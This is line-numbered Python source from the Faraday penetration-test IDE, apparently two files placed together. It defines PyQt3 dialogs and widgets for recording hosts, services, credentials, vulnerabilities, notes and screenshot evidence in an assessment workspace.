1094 def __init__(self, parent=None, plugin_manager=None):
1095 BaseDialog.__init__(self, parent, "")
1096 PluginSettingsUi.__init__(self, parent)
1097
1098 self._plugin_manager = plugin_manager
1099 if plugin_manager is not None:
1100 self._plugin_settings = plugin_manager.getSettings()
1101 else:
1102 self._plugin_settings = {}
1103
1104 self._set_connections()
1105
1106 self._items = {}
1107 self._params = {}
1108
1109 self.t_parameters.horizontalHeader().setStretchEnabled(True, 0)
1110
1111 self._selected_plugin = None
1112 self._load_plugin_list()
1113
1114 def _set_connections(self):
1115 self.connect(self.lw_plugins, qt.SIGNAL("selectionChanged(QListViewItem*)"), self._show_plugin )
1116 self.connect(self.lw_plugins, qt.SIGNAL("clicked(QListViewItem*)"),
1117 self._show_plugin)
1118 self.connect(self.t_parameters, qt.SIGNAL("valueChanged(int, int)"),
1119 self._set_parameter)
1120 self.connect(self.bt_ok, qt.SIGNAL("clicked()"),
1121 self._update_settings)
1122
1123 def _load_plugin_list(self):
1124 if self._plugin_manager is None:
1125 return
1126
1127 for plugin_id, params in self._plugin_settings.iteritems():
1128 new_item = qt.QListViewItem(self.lw_plugins, "%s" % params["name"])
1129 self._items[new_item] = plugin_id
1130
1131 def _set_parameter(self, row, col):
1132 settings = self._plugin_settings[self._selected_plugin]["settings"]
1133 parameter = self.t_parameters.verticalHeader().label(row)
1134 value = self.t_parameters.text(row, col)
1135 settings[str(parameter).strip()] = str(value).strip()
1136
1137 def _update_settings(self):
1138 if self._plugin_manager is not None:
1139 self._plugin_manager.updateSettings(self._plugin_settings)
1140
1141 def _show_plugin(self, item):
1142 if item is None:
1143 return
1144
1145 self.t_parameters.removeRows(range(self.t_parameters.numRows()))
1146
1147 plugin_id = self._items[item]
1148 self._selected_plugin = plugin_id
1149
1150 params = self._plugin_settings[plugin_id]
1151
1152 self.le_name.setText(params["name"])
1153 self.le_version.setText(params["version"])
1154 self.le_pversion.setText(params["plugin_version"])
1155
1156 for setting, value in params["settings"].iteritems():
1157 index = self.t_parameters.numRows()
1158 self.t_parameters.insertRows(index)
1159
1160 self.t_parameters.verticalHeader().setLabel(index, setting)
1161 self.t_parameters.setText(index, 0, str(value))
1162
1163
1164
1165 class VulnsListDialog(BaseDialog, VulnerabilitiesUi):
1166 def __init__(self, parent=None,item=None):
1167 BaseDialog.__init__(self, parent, "")
1168 VulnerabilitiesUi.__init__(self, parent)
1169 self._vulns = []
1170 self._setup_signals()
1171 self._item=item
1172
1173 self.t_vulns.setColumnReadOnly(0, True)
1174 self.t_vulns.setColumnReadOnly(1, True)
1175 self.t_vulns.setColumnReadOnly(2, True)
1176
1177 self.t_vulns.horizontalHeader().setStretchEnabled(True, 3)
1178
1179 def add_vuln(self, vuln):
1180 index = self.t_vulns.numRows()
1181 self._vulns.append(vuln)
1182 self.t_vulns.insertRows(index)
1183
1184 self.t_vulns.setText(index, 0, str(vuln.name))
1185 self.t_vulns.setText(index, 1, str(vuln.refs))
1186 self.t_vulns.setText(index, 2, str(vuln.desc))
1187
1188 self.t_vulns.adjustColumn(0)
1189 self.t_vulns.adjustColumn(1)
1190 self.t_vulns.adjustColumn(2)
1191
1192
1193 def del_vuln(self, vuln):
1194
1195 index = self.t_vulns.currentRow()
1196 self._vulns.remove(vuln)
1197 self.t_vulns.removeRows([index])
1198
1199
1200
1201 def _setup_signals(self):
1202
1203 self.connect(self.t_vulns, SIGNAL("doubleClicked(int,int,int,QPoint)"),self._edit)
1204
1205 self.connect(self.add_button, SIGNAL("clicked()"), self._add)
1206 self.connect(self.edit_button, SIGNAL("clicked()"), self._edit)
1207 self.connect(self.delete_button, SIGNAL("clicked()"), self._delete)
1208 self.connect(self.list_note_button, SIGNAL("clicked()"), self._list_note)
1209 self.connect(self.manage_evidence_button, SIGNAL("clicked()"), self._evidence)
1210
1211
1212 def _edit(self):
1213
1214 if self.t_vulns.currentSelection() != -1:
1215 _object=self._vulns[self.t_vulns.currentRow()]
1216 dialog = VulnDialog(self,str(_object.name),str(_object.desc),str(_object.refs),self._editcallback,_object)
1217 res = dialog.exec_loop()
1218
1219 def _evidence(self):
1220
1221 if self.t_vulns.currentSelection() != -1:
1222 _object=self._vulns[self.t_vulns.currentRow()]
1223 _object.object = _object
1224 dialog = EvidencesListDialog(self, _object)
1225
1226
1227 dialog.exec_loop()
1228
1229 def _list_note(self):
1230
1231 if self.t_vulns.currentSelection() != -1:
1232 _object=self._vulns[self.t_vulns.currentRow()]
1233 _object.object = _object
1234 dialog = NotesListDialog(self, _object)
1235
1236
1237 dialog.exec_loop()
1238
1239 def _editcallback(self,name,desc,ref,item):
1240
1241 item.name=name
1242 item.desc=desc
1243 item.ref=ref
1244
1245 self.t_vulns.setText(self.t_vulns.currentRow(), 0, name)
1246 self.t_vulns.setText(self.t_vulns.currentRow(), 1, ref)
1247 self.t_vulns.setText(self.t_vulns.currentRow(), 2, desc)
1248
1249 def _newcallback(self, name, desc, ref, item):
1250 _parent=self._item.object.getParent()
1251
1252 api.devlog("newVuln (%s) (%s) (%s) (%s) " % (name, desc, ref, item.object.getName(),))
1253
1254 _newvuln=api.newVuln(name,desc,ref)
1255
1256 if item.type == "Application":
1257 api.addVulnToApplication(_newvuln,_parent.name,item.object.getName())
1258 elif item.type == "Interface":
1259 api.addVulnToInterface(_newvuln,_parent.name,item.object.getName())
1260 elif item.type == "Host":
1261 api.addVulnToHost(_newvuln,item.object.getName())
1262 elif item.type == "Service":
1263 api.addVulnToService(_newvuln,_parent.name,item.object.getName())
1264
1265
1266 self.add_vuln(_newvuln)
1267
1268 def _add(self):
1269 if self._item is not None and self._item.object is not None:
1270 dialog = VulnDialog(self,callback=self._newcallback,item=self._item)
1271 res = dialog.exec_loop()
1272
1273
1274 def _delete(self):
1275 if self.t_vulns.currentSelection() != -1:
1276 _vuln=self._vulns[self.t_vulns.currentRow()]
1277 _parent=_vuln._parent
1278
1279
1280 if isinstance(_parent,hosts.HostApplication):
1281 api.delVulnFromApplication(_vuln.getID(),_parent.getParent().name,_parent.name)
1282 elif isinstance(_parent,hosts.Interface):
1283 api.delVulnFromInterface(_vuln.getID(),_parent.getParent().name,_parent.name)
1284 elif isinstance(_parent,hosts.Host):
1285 api.delVulnFromHost(_vuln.getID(),_parent.name)
1286 elif isinstance(_parent,hosts.Service):
1287 api.delVulnFromService(_vuln.getID(),_parent.getParent().name,_parent.name)
1288
1289
1290 self.del_vuln(_vuln)
1291
1292
1293
1294
1295 class PreferencesDialog(BaseDialog, PreferencesUi):
1296 def __init__(self, parent=None):
1297 BaseDialog.__init__(self, parent, "")
1298 PreferencesUi.__init__(self, parent)
1299 self._main_window = parent
1300
1301 self._fdb = qt.QFontDatabase()
1302 self._families = self._fdb.families()
1303 self.cb_font_family.insertStringList(self._families)
1304
1305 self._styles = None
1306 self._sizes = None
1307
1308 self._family = None
1309 self._style = None
1310 self._size = None
1311
1312
1313 self._set_connections()
1314 self._load_styles(0)
1315 self._load_sizes(0)
1316
1317 def _set_connections(self):
1318 self.connect(self.cb_font_family, SIGNAL("activated(int)"),
1319 self._load_styles)
1320 self.connect(self.cb_font_style, SIGNAL("activated(int)"),
1321 self._load_sizes)
1322 self.connect(self.cb_font_size, SIGNAL("activated(int)"),
1323 self._change_size)
1324 self.connect(self.bt_ok, SIGNAL("clicked()"),
1325 self.accept)
1326 self.connect(self.bt_cancel, SIGNAL("clicked()"),
1327 self.reject)
1328
1329 def _load_styles(self, index):
1330 self._family = self._families[index]
1331 self.cb_font_style.clear()
1332 self._styles = self._fdb.styles(self._family)
1333 self.cb_font_style.insertStringList(self._styles)
1334 self._update_font()
1335
1336 def _load_sizes(self, index):
1337 self._style = self._styles[index]
1338 self.cb_font_size.clear()
1339 self._sizes = self._fdb.smoothSizes(self._family, self._style)
1340 string_list = QStringList()
1341 [string_list.append(str(size)) for size in self._sizes]
1342 self.cb_font_size.insertStringList(string_list)
1343 self._update_font()
1344
1345 def _change_size(self, index):
1346 self._size = self._sizes[index]
1347 self._update_font()
1348
1349 def _update_font(self):
1350 font = self.le_example.font()
1351 if self._family is not None:
1352 font.setFamily(self._family)
1353 if self._size is not None:
1354 font.setPointSize(self._size)
1355 if self._style is not None:
1356 isItalic = self._fdb.italic(self._family, self._style)
1357 font.setItalic(isItalic)
1358 isBold = self._fdb.bold(self._family, self._style)
1359 font.setBold(isBold)
1360 weight = self._fdb.weight(self._family, self._style)
1361 font.setWeight(weight)
1362 self.le_example.setFont(font)
1363 self._main_window.shell_font = font
1364
1365
1366
1367 class NotesListDialog(BaseDialog, NotesListUI):
1368
1369 def __init__(self, parent, item=None):
1370 BaseDialog.__init__(self, parent, "NotesListDialog", modal=True)
1371 NotesListUI.__init__(self, parent)
1372 self.notes_table.setColumnReadOnly(0, True)
1373 self.notes_table.setColumnReadOnly(1, True)
1374 self._notes = []
1375 self._setup_signals()
1376 self._item = item
1377 if item is not None and item.object is not None:
1378 for n in item.object.getNotes():
1379 self.add_note_to_table(n)
1380
1381 def add_note_to_table(self, note):
1382 index = self.notes_table.numRows()
1383 self._notes.append(note)
1384 self.notes_table.insertRows(index)
1385 self.notes_table.setText(index, 0, note.name)
1386 self.notes_table.setText(index, 1, note.text)
1387 self.notes_table.adjustColumn(0)
1388 self.notes_table.adjustColumn(1)
1389 self.notes_table.adjustRow(index)
1390
1391 def _setup_signals(self):
1392
1393
1394
1395
1396 self.connect(self.add_button, SIGNAL("clicked()"), self._add_note)
1397 self.connect(self.edit_button, SIGNAL("clicked()"), self._edit_note)
1398 self.connect(self.delete_button, SIGNAL("clicked()"), self._delete_note)
1399 self.connect(self.list_note_button, SIGNAL("clicked()"), self._list_note)
1400
1401 def _edit_note(self):
1402 if self.notes_table.currentSelection() != -1:
1403 _object=self._notes[self.notes_table.currentRow()]
1404 dialog = NoteDialog(self,_object.name,_object.text,self._editcallbackNote,_object)
1405 res = dialog.exec_loop()
1406
1407 def _list_note(self):
1408
1409 if self.notes_table.currentSelection() != -1:
1410 _object=self._notes[self.notes_table.currentRow()]
1411 _object.object = _object
1412 dialog = NotesListDialog(self, _object)
1413
1414
1415 dialog.exec_loop()
1416
1417 def _editcallbackNote(self,name,text,item):
1418 item.name = name
1419 item.text = text
1420 self.notes_table.setText(self.notes_table.currentRow(), 0, name)
1421 self.notes_table.setText(self.notes_table.currentRow(), 1, text)
1422
1423 def _newcallbackNote(self, name, text, item):
1424 _parent=self._item.object.getParent()
1425
1426 api.devlog("newNote (%s) (%s) (%s) " % (name, text, item.object.getName(),))
1427
1428 _newnote=api.newNote(name,text)
1429
1430 if item.object.class_signature == "HostApplication":
1431 api.addNoteToApplication(_newnote,_parent.name,item.object.getName())
1432 elif item.object.class_signature == "Interface":
1433 api.addNoteToInterface(_newnote,_parent.name,item.object.getName())
1434 elif item.object.class_signature == "Host":
1435 api.addNoteToHost(_newnote,item.object.getName())
1436 elif item.object.class_signature == "Service":
1437 api.addNoteToService(_newnote,_parent.name,item.object.getName())
1438 else:
1439
1440
1441 item.object.addNote(_newnote)
1442
1443 self.add_note_to_table(_newnote)
1444
1445 def _add_note(self):
1446 if self._item is not None and self._item.object is not None:
1447 dialog = NoteDialog(self,callback=self._newcallbackNote,item=self._item)
1448 res = dialog.exec_loop()
1449
1450
1451 def _delete_note(self):
1452
1453 _object=self._notes[self.notes_table.currentRow()]
1454 if self.notes_table.currentSelection() != -1:
1455 _note=self._notes[self.notes_table.currentRow()]
1456 _parent=_note._parent
1457
1458 if _parent.class_signature == "HostApplication":
1459 api.delNoteFromApplication(_note.getID(),_parent.getParent().name,_parent.name)
1460 elif _parent.class_signature == "Interface":
1461 api.delNoteFromInterface(_note.getID(),_parent.getParent().name,_parent.name)
1462 elif _parent.class_signature == "Host":
1463 api.delNoteFromHost(_note.getID(),_parent.name)
1464 elif _parent.class_signature == "Service":
1465 api.delNoteFromService(_note.getID(),_parent.getParent().name,_parent.name)
1466 else:
1467 _parent.delNote(_note.getID())
1468
1469
1470
1471 self.del_note(_note)
1472
1473
1474 def del_note(self, note):
1475
1476 index = self.notes_table.currentRow()
1477 self._notes.remove(note)
1478 self.notes_table.removeRows([index])
1479
1480
1481
1482
1483
1484 class EvidencesListDialog(BaseDialog, EvidencesListUI):
1485
1486 def __init__(self, parent, item=None):
1487 BaseDialog.__init__(self, parent, "EvidencesListDialog", modal=True)
1488 EvidencesListUI.__init__(self, parent)
1489 self.evidences_table.setColumnReadOnly(0, True)
1490 self.evidences_table.setColumnReadOnly(1, True)
1491 self._setup_signals()
1492 self._item = item
1493 if item is not None and item.object is not None:
1494 for n in item.object.evidences:
1495 self.add_evidence_to_table(n)
1496
1497 def add_evidence_to_table(self, evidence):
1498 index = self.evidences_table.numRows()
1499 self.evidences_table.insertRows(index)
1500 self.evidences_table.setText(index, 0, str(index))
1501 self.evidences_table.setText(index, 1, evidence)
1502 self.evidences_table.adjustColumn(0)
1503 self.evidences_table.adjustColumn(1)
1504 self.evidences_table.adjustRow(index)
1505
1506 def _setup_signals(self):
1507
1508
1509
1510
1511 self.connect(self.add_button, SIGNAL("clicked()"), self._add_evidence)
1512 self.connect(self.delete_button, SIGNAL("clicked()"), self._delete_evidence)
1513
1514 def _newcallbackEvidence(self, name, item):
1515
1516 d_path = api.addEvidence("%s" % name)
1517 if d_path is not False:
1518 self._item.object.evidences.append(d_path)
1519 self.add_evidence_to_table(d_path)
1520
1521 def _add_evidence(self):
1522 if self._item is not None and self._item.object is not None:
1523 filename = QFileDialog.getOpenFileName(
1524 CONF.getDefaultTempPath(),
1525 "Images Files (*.png)",
1526 None,
1527 "open file dialog",
1528 "Choose a file to add in the evidence" );
1529
1530 if (filename):
1531 self._newcallbackEvidence(filename,self._item)
1532 for n in self._item.object.evidences:
1533 api.devlog("Los items screenshot son:" + n)
1534
1535
1536 def _delete_evidence(self):
1537
1538 if self.evidences_table.currentSelection() != -1:
1539
1540 index = self.evidences_table.currentRow()
1541 _evidence=self._item.object.evidences[index]
1542 self._item.object.evidences.remove(_evidence)
1543 api.delEvidence(_evidence)
1544 self.evidences_table.removeRows([index])
1545 self._updateIds()
1546 for n in self._item.object.evidences:
1547 api.devlog("Los items screenshot son:" + n)
1548
1549 def _updateIds(self):
1550 for i in range(0,self.evidences_table.numRows()):
1551 self.evidences_table.setText(i , 0, str(i))
1552
1553
1554
1555
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import qt
7 import qttable
8 import model.guiapi as guiapi
9
10
11 class NewModelObjectDialog(qt.QDialog):
12
13 def __init__(self, parent, name, callback, layout_margin=0, layout_spacing=-1, modal=True):
14 qt.QDialog.__init__(self, parent, name, modal)
15 self.widgets = {}
16 self.result = None
17 self.callback = callback
18
19 if layout_spacing == -1:
20 layout_spacing = self.fontMetrics().height()
21
22 self.main_layout = qt.QVBoxLayout(self, layout_margin, layout_spacing, "main_layout")
23
24 self.setEdition()
25
26 self.button_box = qt.QHBoxLayout()
27 self.accept_button = qt.QPushButton("Accept", self)
28 self.accept_button.setMaximumSize(qt.QSize(75, 25))
29 self.connect(self.accept_button, qt.SIGNAL('clicked()'), self._accept)
30 self.cancel_button = qt.QPushButton("Cancel", self)
31 self.cancel_button.setMaximumSize(qt.QSize(75, 25))
32 self.connect(self.cancel_button, qt.SIGNAL('clicked()'), self.cancel)
33 self.button_box.addWidget(self.accept_button)
34 self.button_box.addWidget(self.cancel_button)
35
36 self.main_layout.addStretch(1)
37 self.main_layout.setMargin(5)
38 self.main_layout.setSpacing(6)
39 self.main_layout.addLayout(self.button_box)
40
41 def getMainLayout(self):
42 return self.main_layout
43
44 def setEdition(self):
45
46 pass
47
48 def _addWidget(self, label, widget):
49 hbox = qt.QHBoxLayout()
50 hbox.setMargin(5)
51 hbox.addWidget(label)
52 hbox.addWidget(widget)
53 self.main_layout.addLayout(hbox)
54
55 def getWidget(self, name):
56 return self.widgets.get(name, None)
57
58 def addTextEdit(self, name, description, label_size=100):
59 label = qt.QLabel(None, description, self)
60 label.setMinimumSize(qt.QSize(label_size, 1))
61 self.widgets[name] = text_edit = TextEditWidget(self, "")
62 text_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Minimum))
63 self._addWidget(label, text_edit)
64
65 def addIntEdit(self, name, description, minValue, maxValue, label_size=100):
66 label = qt.QLabel(None, description, self)
67 label.setMinimumSize(qt.QSize(label_size, 1))
68 self.widgets[name] = int_edit = IntEditWidget(self, 1, minValue, maxValue)
69 int_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Minimum))
70 self._addWidget(label, int_edit)
71
72 def addTextBlockEdit(self, name, description, label_size=100):
73 label = qt.QLabel(None, description, self)
74 label.setMinimumSize(qt.QSize(label_size, 1))
75 label.setAlignment(qt.Qt.AlignTop)
76 self.widgets[name] = text_block_edit = TextBlockEditWidget(self, "")
77 text_block_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
78 self._addWidget(label, text_block_edit)
79
80 def addComboBox(self, name, description, values, label_size=100):
81 label = qt.QLabel(None, description, self)
82 label.setMinimumSize(qt.QSize(label_size, 1))
83 label.setAlignment(qt.Qt.AlignTop)
84 self.widgets[name] = combo_edit = ComboBoxEditWidget(self, values)
85 combo_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
86 self._addWidget(label, combo_edit)
87
88 def addCheckBox(self, name, description, callback=None, label_size=100):
89 label = qt.QLabel(None, description, self)
90 label.setMinimumSize(qt.QSize(label_size, 1))
91 label.setAlignment(qt.Qt.AlignTop)
92 self.widgets[name] = checkbox_edit = BooleanEditWidget(self, False)
93 checkbox_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
94 if callback:
95 self.connect(checkbox_edit, qt.SIGNAL("stateChanged(int)"), callback)
96 self._addWidget(label, checkbox_edit)
97
98 def getValues(self):
99
100 pass
101
102 def getValue(self, name):
103 return self.widgets[name].getValue()
104
105 def getResult(self):
106 return self.result
107
108 def cancel(self):
109 self.reject()
110
111 def _accept(self):
112 if self.callback is not None:
113 self.result = self.callback(*self.getValues())
114 self.accept()
115
116 def sizeHint(self):
117
118 return qt.QSize(300, 100)
119
120
121 class NewHostDialog(NewModelObjectDialog):
122
123 def __init__(self, parent, callback, layout_margin=0, layout_spacing=-1, modal=True):
124 NewModelObjectDialog.__init__(self, parent, "New Host", callback, layout_margin, layout_spacing, modal)
125
126 def setEdition(self):
127 self.addTextEdit("name", "Name")
128 self.addTextEdit("os", "OS")
129
130 def getValues(self):
131 return [self.getValue("name"), self.getValue("os")]
132
133 class NewCredDialog(NewModelObjectDialog):
134
135 def __init__(self, parent, callback, layout_margin=0, layout_spacing=-1, modal=True):
136 NewModelObjectDialog.__init__(self, parent, "New Cred", callback, layout_margin, layout_spacing, modal)
137
138 def setEdition(self):
139 self.addTextEdit("username", "Username")
140 self.addTextEdit("password", "Password")
141
142 def getValues(self):
143 return [self.getValue("username"), self.getValue("password")]
144
145 class NewInterfaceDialog(NewModelObjectDialog):
146
147 def __init__(self, parent, callback, layout_margin=0, layout_spacing=-1, modal=True):
148 NewModelObjectDialog.__init__(self, parent, "New Interface", callback, layout_margin, layout_spacing, modal)
149
150 def setEdition(self):
151 self.addTextEdit("name", "Name")
152 self.addTextEdit("ipv4", "IPv4")
153 self.addTextEdit("ipv6", "IPv6")
154
155 def getValues(self):
156 return [self.getValue("name"), self.getValue("ipv4"), self.getValue("ipv6")]
157
158
159 class NewServiceDialog(NewModelObjectDialog):
160
161 def __init__(self, parent, callback, layout_margin=0, layout_spacing=-1, modal=True):
162 NewModelObjectDialog.__init__(self, parent, "New Service", callback, layout_margin, layout_spacing, modal)
163
164 def setEdition(self):
165 self.addTextEdit("name", "Name")
166 self.addTextEdit("protocol", "Protocol")
167 self.addIntEdit("port", "Port", 1, 65535)
168
169 def getValues(self):
170 return [self.getValue("name"), self.getValue("protocol"), self.getValue("port")]
171
172 class NewNoteDialog(NewModelObjectDialog):
173
174 def __init__(self, parent, callback, layout_margin=0, layout_spacing=-1, modal=True):
175 NewModelObjectDialog.__init__(self, parent, "New Note", callback, layout_margin, layout_spacing, modal)
176
177 def setEdition(self):
178 self.addTextEdit("name", "Name", label_size=50)
179 self.addTextBlockEdit("text", "Text", label_size=50)
180
181 def getValues(self):
182 return [self.getValue("name"), self.getValue("text")]
183
184 def sizeHint(self):
185
186 return qt.QSize(450, 200)
187
188 class NewVulnDialog(NewModelObjectDialog):
189
190 def __init__(self, parent, callback, vuln_web_enabled=False, layout_margin=0, layout_spacing=-1, modal=True):
191 self.vuln_web_enabled = vuln_web_enabled
192 NewModelObjectDialog.__init__(self, parent, "New Vulnerabilty", callback, layout_margin, layout_spacing, modal)
193
194 def setEdition(self):
195 if not self.vuln_web_enabled:
196 self.addCheckBox("vuln_web", "Web Vulnerabilty (only for services)", self._type_changed)
197 self.getWidget("vuln_web").setEnabled(False)
198 else:
199 self.addCheckBox("vuln_web", "Web Vulnerabilty", self._type_changed)
200 self.addTextEdit("name", "Name")
201 self.addTextEdit("desc", "Description")
202 self.addTextEdit("website", "Website")
203 self.getWidget("website").setEnabled(False)
204 self.addTextEdit("path", "Path")
205 self.getWidget("path").setEnabled(False)
206
207 def _type_changed(self, type):
208 self.getWidget("path").setEnabled(bool(type))
209 self.getWidget("website").setEnabled(bool(type))
210
211 def getValues(self):
212 values = [self.getValue("vuln_web"), self.getValue("name"), self.getValue("desc")]
213 if self.getValue("vuln_web"):
214 values.extend([self.getValue("website"), self.getValue("path")])
215 return values
216
217 def sizeHint(self):
218
219 return qt.QSize(400, 250)
220
221 class NewVulnWebDialog(NewModelObjectDialog):
222
223 def __init__(self, parent, callback, layout_margin=0, layout_spacing=-1, modal=True):
224 NewModelObjectDialog.__init__(self, parent, "New Web Vulnerabilty", callback, layout_margin, layout_spacing, modal)
225
226 def setEdition(self):
227 self.addTextEdit("name", "Name")
228 self.addTextEdit("desc", "Description")
229 self.addTextEdit("website", "Website")
230 self.addTextEdit("path", "Path")
231
232 def getValues(self):
233 return [self.getValue("name"), self.getValue("desc"), self.getValues("website"), self.getValues("path")]
234
235
236 class DetailLabel(qt.QLabel):
237 """
238 A lable for ModelObject items details
239 This implements mouse move and focus events
240 This is to show a darker color when mouse is over detail
241 and also to show context menues
242 """
243
244 def __init__(self, setting, text, parent):
245
246 qt.QLabel.__init__(self, text, parent)
247 self.bgcolor = self.paletteBackgroundColor()
248 self.setFocusPolicy(qt.QWidget.StrongFocus)
249 self.setMargin(1)
250
251 self.setting = setting
252 self.inmenu = False
253 self.inmouse = False
254 self.infocus = False
255
256 def _setBg(self):
257 """Set the background of the widget according to its state."""
258
259
260 num = 100
261 if self.inmenu:
262 num += 20
263 else:
264 if self.inmouse:
265 num += 10
266 if self.infocus:
267 num += 10
268
269 self.setPaletteBackgroundColor(self.bgcolor.dark(num))
270
271 def keyPressEvent(self, event):
272
273
274 key = event.key()
275
276 if key == qt.Qt.Key_Up:
277 self.focusNextPrevChild(False)
278 self.focusNextPrevChild(False)
279 elif key == qt.Qt.Key_Down:
280 self.focusNextPrevChild(True)
281 self.focusNextPrevChild(True)
282 elif key == qt.Qt.Key_Left:
283 self.focusNextPrevChild(False)
284 elif key == qt.Qt.Key_Right:
285 self.focusNextPrevChild(True)
286 else:
287 event.ignore()
288
289 def enterEvent(self, event):
290
291 qt.QLabel.enterEvent(self, event)
292 self.inmouse = True
293 self._setBg()
294
295 def leaveEvent(self, event):
296
297 qt.QLabel.leaveEvent(self, event)
298 self.inmouse = False
299 self._setBg()
300
301 def focusInEvent(self, event):
302
303 qt.QLabel.focusInEvent(self, event)
304 self.infocus = True
305 self._setBg()
306
307 def focusOutEvent(self, event):
308
309 qt.QLabel.focusOutEvent(self, event)
310 self.infocus = False
311 self._setBg()
312
313
314 class TextEditWidget(qt.QLineEdit):
315 def __init__(self, parent, text):
316 qt.QLineEdit.__init__(self, parent)
317 self._setText(text)
318
319 def getValue(self):
320 text = self.text().ascii()
321 if text:
322 return self.text().ascii()
323 return ""
324
325 def _setText(self, text):
326 text = text if text else ""
327 self.setText(text)
328
329 class TextBlockEditWidget(qt.QTextEdit):
330 def __init__(self, parent, text):
331 qt.QTextEdit.__init__(self, parent)
332 self._setText(text)
333
334 def getValue(self):
335 text = self.text().ascii()
336 if text:
337 return self.text().ascii()
338 return ""
339
340 def _setText(self, text):
341 text = text if text else ""
342 self.setText(text)
343
344 class BooleanEditWidget(qt.QCheckBox):
345 def __init__(self, parent, value):
346 qt.QCheckBox.__init__(self, parent)
347 value = value if value else False
348 self.setChecked(value)
349
350 def getValue(self):
351 return self.isChecked()
352
353
354 class IntEditWidget(qt.QSpinBox):
355 def __init__(self, parent, value, minValue, maxValue, step=1):
356 qt.QSpinBox.__init__(self, parent)
357 value = value if value else minValue
358 self.setMinValue(minValue)
359 self.setMaxValue(maxValue)
360 self.setLineStep(step)
361 self.setValue(value)
362
363 def getValue(self):
364 return self.value()
365
366 class ComboBoxEditWidget(qt.QComboBox):
367 def __init__(self, parent, values):
368 qt.QComboBox.__init__(self, 0, parent)
369
370 for value in values:
371 self.insertItem(value)
372
373 def getValue(self):
374 return self.currentText()
375
376
377 class ListEditWidget(qt.QHBox):
378 def __init__(self, parent, values, title="", preview_size=25):
379 qt.QHBox.__init__(self, parent)
380 self.title = title
381 self.values = values
382 self.preview_size = preview_size
383 preview = self.getPreview()
384 self.list_label = DetailLabel(None, preview, self)
385 button = qt.QPushButton("...", self)
386 button.setMaximumSize(qt.QSize(25, 25))
387 self.connect(button, qt.SIGNAL('clicked()'), self.showListEditor)
388
389 def getValue(self):
390 return self.values
391
392 def setValues(self, values):
393 self.values = values
394 self.updatePreview()
395
396 def getPreview(self):
397 return ", ".join(["%s" % hn for hn in self.values])[0:25]
398
399 def updatePreview(self):
400 self.list_label.setText(self.getPreview())
401
402 def showListEditor(self):
403 dialog = ListEditDialog(self, self.title, self.values)
404 result = dialog.exec_loop()
405 self.values = dialog.getValues()
406 self.updatePreview()
407
408
409 class ListEditDialog(qt.QDialog):
410
411 def __init__(self, parent, name, values, layout_margin=0, layout_spacing=-1, modal=True):
412 qt.QDialog.__init__(self, parent, name, modal)
413 if layout_spacing == -1:
414 layout_spacing = self.fontMetrics().height()
415
416 self.list_layout = qt.QVBoxLayout()
417 self.listview = qt.QListView(self)
418 self.listview.setSelectionMode(qt.QListView.Extended)
419 self.listview.addColumn(name)
420 self.listview.setColumnWidthMode(0, qt.QListView.Maximum)
421 for value in values:
422 view_item = qt.QListViewItem(self.listview)
423 view_item.setText(0, qt.QString(value))
424
425 self.list_layout.addWidget(self.listview)
426
427 self.button_box = qt.QVBoxLayout()
428 self.add_button = qt.QPushButton("Add", self)
429 self.add_button.setMaximumSize(qt.QSize(100, 100))
430 self.connect(self.add_button, qt.SIGNAL('clicked()'), self.addValue)
431 self.remove_button = qt.QPushButton("Remove", self)
432 self.remove_button.setMaximumSize(qt.QSize(100, 100))
433 self.connect(self.remove_button, qt.SIGNAL('clicked()'), self.removeValue)
434 self.close_button = qt.QPushButton("Close", self)
435 self.close_button.setMaximumSize(qt.QSize(100, 100))
436 self.connect(self.close_button, qt.SIGNAL('clicked()'), self.accept)
437 self.button_box.addWidget(self.add_button)
438 self.button_box.addWidget(self.remove_button)
439 self.button_box.addStretch(2)
440 self.button_box.addWidget(self.close_button)
441
442 self.main_layout = qt.QHBoxLayout(self, layout_margin, layout_spacing, "main_layout")
443 self.main_layout.addLayout(self.list_layout)
444 self.main_layout.addLayout(self.button_box)
445
446 def getValues(self):
447 values = []
448 iter = qt.QListViewItemIterator(self.listview)
449 while True:
450 item = iter.current()
451 if item == None:
452 break
453 values.append(item.text(0).ascii())
454 iter += 1
455 return values
456
457 def addValue(self):
458 text, ok = qt.QInputDialog.getText('New value', 'New value:')
459 if not ok or text == '':
460 return
461 view_item = qt.QListViewItem(self.listview)
462 view_item.setText(0, qt.QString(text))
463
464 def removeValue(self):
465 items_selected = []
466 iter = qt.QListViewItemIterator(self.listview)
467 while True:
468 item = iter.current()
469 if item == None:
470 break
471 if item.isSelected():
472 items_selected.append(item)
473 iter += 1
474 for item in items_selected:
475 self.listview.takeItem(item)
476 del item
477
478 def sizeHint(self):
479
480 return qt.QSize(400, 400)
481
482
483 class EditionTable(qttable.QTable):
484 """The table which shows the details of item selected on the tree"""
485
486 def __init__(self, parent, rows = 0, columns = 2):
487 qttable.QTable.__init__(self, parent)
488 self.setFocusPolicy(qt.QWidget.NoFocus)
489
490 self.setNumCols(columns)
491 self.setNumRows(rows)
492 self.setTopMargin(0)
493 self.setLeftMargin(0)
494 self.setShowGrid(False)
495 self.setColumnStretchable(1, True)
496 self.setSelectionMode(qttable.QTable.NoSelection)
497
498 self._row_count = 0
499
500
501 def setEditable(self, editable):
502 self._editable = editable
503
504 def isEditable(self):
505 return self._editable
506
507 def _addWidget(self, label, widget):
508 self.setCellWidget(self._row_count, 0, label)
509 self.setCellWidget(self._row_count, 1, widget)
510
511 self._row_count += 1
512
513 def addTextEdit(self, description, value):
514 view = self.viewport()
515 label = DetailLabel(None, description, view)
516 textEdit = TextEditWidget(view, value)
517 self._addWidget(label, textEdit)
518 return textEdit
519
520 def addBooleanEdit(self, description, value):
521 view = self.viewport()
522 label = DetailLabel(None, description, view)
523 booleanEdit = BooleanEditWidget(view, value)
524 self._addWidget(label, booleanEdit)
525 return booleanEdit
526
527 def addIntEdit(self, description, value, minValue, maxValue):
528 view = self.viewport()
529 label = DetailLabel(None, description, view)
